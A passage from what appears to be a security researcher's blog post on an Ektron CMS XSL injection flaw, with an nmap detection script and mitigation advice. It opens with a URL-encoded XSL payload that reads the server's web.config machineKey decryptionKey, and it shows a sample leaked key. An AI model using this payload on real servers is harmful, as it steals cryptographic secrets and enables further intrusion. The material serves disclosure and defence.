    %73%3a%6d%73%78%73%6c%3d%22%75%72%6e%3a%73%63%68%65%6d%61%73%2d%6d%69%63%72%6f%73%6f%66%74%2d%63
    %6f%6d%3a%78%73%6c%74%22%0a%20%20%20%20%20%20%78%6d%6c%6e%73%3a%75%73%65%72%3d%22%68%74%74%70%3a
    %2f%2f%6d%79%63%6f%6d%70%61%6e%79%2e%63%6f%6d%2f%6d%79%6e%61%6d%65%73%70%61%63%65%22%3e%0a%20%20
    %3c%78%73%6c%3a%74%65%6d%70%6c%61%74%65%20%6d%61%74%63%68%3d%22%2f%22%3e%0a%20%20%20%20%3c%78%73
    %6c%3a%76%61%6c%75%65%2d%6f%66%20%73%65%6c%65%63%74%3d%22%64%6f%63%75%6d%65%6e%74%28%27%65%3a%5c
    %45%4b%54%52%4f%4e%5c%77%65%62%2e%63%6f%6e%66%69%67%27%29%2f%2f%6d%61%63%68%69%6e%65%4b%65%79%2f
    %40%64%65%63%72%79%70%74%69%6f%6e%4b%65%79%22%2f%3e%0a%20%20%20%20%3c%78%73%6c%3a%76%61%6c%75%65
    %2d%6f%66%20%73%65%6c%65%63%74%3d%22%66%6f%6f%22%2f%3e%0a%20%20%3c%2f%78%73%6c%3a%74%65%6d%70%6c
    %61%74%65%3e%0a%3c%2f%78%73%6c%3a%73%74%79%6c%65%73%68%65%65%74%3e
    
  5. In the response the decryptionkey will be echoed back F42A9567917AC601F476CB26731E4E116351E9465DBDB32A35DA23C01F4ED963

Detection

Remember in early 2011 when nmap scripting was fairly new? This was one of my first attempts at that. It isn’t much, but it helped me fingerprint the instances of ektron we had.

description = [[
Attempts to check if ektron is running on one of a few paths
]]
 
---
-- @output
-- 80/tcp open  http
-- |_ http-login-form: HTTP login detected
 
-- HTTP authentication information gathering script
-- rev 1.0 (2011-02-06)
 
author = "Rich Lundeen"
 
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 
categories = {"webstersprodigy"}
 
require("shortport")
require("http")
require("pcre")
 
portrule = shortport.port_or_service({80, 443, 8080}, {"http","https"})
 
parse_url = function(url)
  local re = pcre.new("^([^:]*):[/]*([^/]*)", 0, "C")
  local s, e, t = re:exec(url, 0, 0)
  local proto = string.sub(url, t[1], t[2])
  local host = string.sub(url, t[3], t[4])
  local path = string.sub(url, t[4] + 1)
  local port = string.find(host, ":")
  if port ~= nil then
    --TODO check bounds, sanity, cast port to an int
    local thost = string.sub(host, 0, port-1)
    port = string.sub(host, port+1)
    host = thost
  else
    if proto == "http" then
      port = 80
    elseif proto == "https" then
      port = 443
    end
  end
  return host, port, path
end
 
--attempting to be compatible with nessus function in http.inc
--in this case, host is a url - it should use get_http_page
--get_http_page = function(port, host, redirect)
 
--port and url are objects passed to the action function
--redirect an integer to prohibit loops
get_http_page_nmap = function(port, host, redirect, path)
  if path == nil then
    path = "/"
  end
  if redirect == nil then
    redirect = 2
  end
  local answer = http.get(host, port, path)
  if ((answer.header.location ~= nil) and (redirect > 0) and
      (answer.status >=300) and (answer.status < 400)) then
    nhost, nport, npath = parse_url(answer.header.location)
    if (((nhost ~= host.targetname) and (nhost ~= host.ip) and
        (nhost ~= host.name)) or nport ~= port.number ) then
      --cannot redirect more, different service
      return answer, path
    else
      return get_http_page_nmap(port, host, redirect-1, npath)
    end
  end
  return answer, path
end
 
action = function(host, port)
  local ektronpaths = {
  "/cmslogin.aspx",
  "/login.aspx",
  "/WorkArea/"
  }
  for i,ektronpath in ipairs(ektronpaths) do
    local result, path = get_http_page_nmap(port, host, 3, ektronpath)
    local loginflags = pcre.flags().CASELESS + pcre.flags().MULTILINE
    local loginre = {
       pcre.new("ektron" , loginflags, "C") }
     
    local loginform = false
    for i,v in ipairs(loginre) do
      local ismatch, j = v:match(result.body, 0)
      if ismatch then
        loginform = true
        break
        end
    end
    if loginform then
      return "Ektron instance likely at " .. path
    end
  end
end

Mitigation

Supposedly the latest version of Ektron has patched this. I don’t have a version to work on at the moment so I’m unable to personally verify. Regardless – be sure to upgrade. With Ektron I’d also highly recommend segregating the management piece so that it’s not exposed. I’d recommend only trusting people to author content that you trust with the server. Also, people writing content probably shouldn’t be allowed to open Facebook in another browser tab…

For XSL in general – there are a lot of bad things attackers can do if you process untrusted XSL. I recommend trying to avoid processing untrusted XSL at all unless you really know what you’re doing. With .NET xslcompiledtransform for example, even if you disable scripting and enableDocumentFunction, it’s still difficult to prevent things like DoS attacks. A good rule of thumb is to treat consuming XSL like you would treat running code, because that’s essentially what it is.